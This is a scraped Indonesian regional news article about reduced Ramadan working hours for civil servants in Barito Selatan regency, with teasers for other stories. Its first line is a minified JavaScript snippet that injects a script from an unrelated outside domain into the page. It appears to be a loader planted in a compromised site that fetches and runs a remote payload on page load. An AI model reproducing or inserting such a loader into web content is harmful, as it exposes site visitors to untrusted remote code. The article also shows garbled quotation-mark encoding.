(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BUNTOK, Selama Ramadhan jam kerja Aparatur Sipil Negara (ASN) di Barito Selatan (Barsel) dikurangi selama 1,5 jam. Pemkab menetapkan jam dinas mulai pukul 08.00- 15.00 WIB. Pada hari biasanya, jam kerja ASN dimulai dari pukul 07.30- 16.00 WIB.
Pengurangan jam kerja tersebut telah tertuang dalam Surat Edaran Bupati Barsel tentang Pengaturan Jam kerja selama Bulan Suci Ramadhan 1440 Hijriah. Sesuai pula dengan menindaklanjuti surat edaran Mentri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi RI Nomor 394 tahun 2019 tentang penetapan jam kerja selama ramadhan.
“Pengaturan jam kerja ini diberikan untuk memberikan kesempatan bagi PNS yang muslim untuk dapat menjalankan ibadahnya dengan baik. Tetapi juga seimbang dengan pelaksanaan tugasnya sebagai abdi rakyat,†kata Pj Sekda Barsel Syahrani kepada Kanalkalimantan.com, beberapa waktu lalu di Buntok.
Pengaturan jam kerja PNS selama bulan Ramadhan untuk lima hari kerja berlaku setiap hari kerja, Senin hingga Kamis. Sedangkan untuk hari Jumat, jam pulang PNS lebih lama 30 menit yaitu pukul 15.30 WIB. “Karena Jam pulang kerja di hari Jumat lebih lama, lantaran adanya sholat jumat yang waktunya cukup panjang,†jelas Syahrani.
Meskipun selama Ramadhan jam kerja berubah, prosedur dan aturan kerja tidak serta merta menjadi longgar. Sistem absensi elektronik untuk penghitungan besaran tunjangan kinerja daerah (TKD) tetap berlaku dengan penyesuaian waktu. “Lain hal untuk kegiatan Apel pagi dan sore serta olahraga seperti senam SKJ, selama bulan puasa akan ditiadakan,†ujar Syahrani.
Ditambahkan olehnya  bagi pegawai yang bolos dan mangkir dari tugas, atau kinerjanya tidak baik, akan dikenakan sanksi. Berupa sanksi administrasi, berbentuk teguran lisan, pemotongan TKD, penundaan kenaikan jabatan atau gaji, hingga pemecatan. “Jadi walaupun bulan puasa, kita berharap tidak adanya pengurangan kinerja kepada para pegawai, karena sudah adanya toleransi pada jam kerja,†tandas Syahrani.(digdo)
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More
KANALKALIMANTAN.COM, RANTAU - Kafilah Hulu Sungai Utara (HSU) menjadi pembuka dalam parade Pawai Ta'aruf Musabaqah… Read More
KANALKALIMANTAN.COM, RANTAU - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) melambaikan tangan memberikan semangat untuk… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More
This website uses cookies.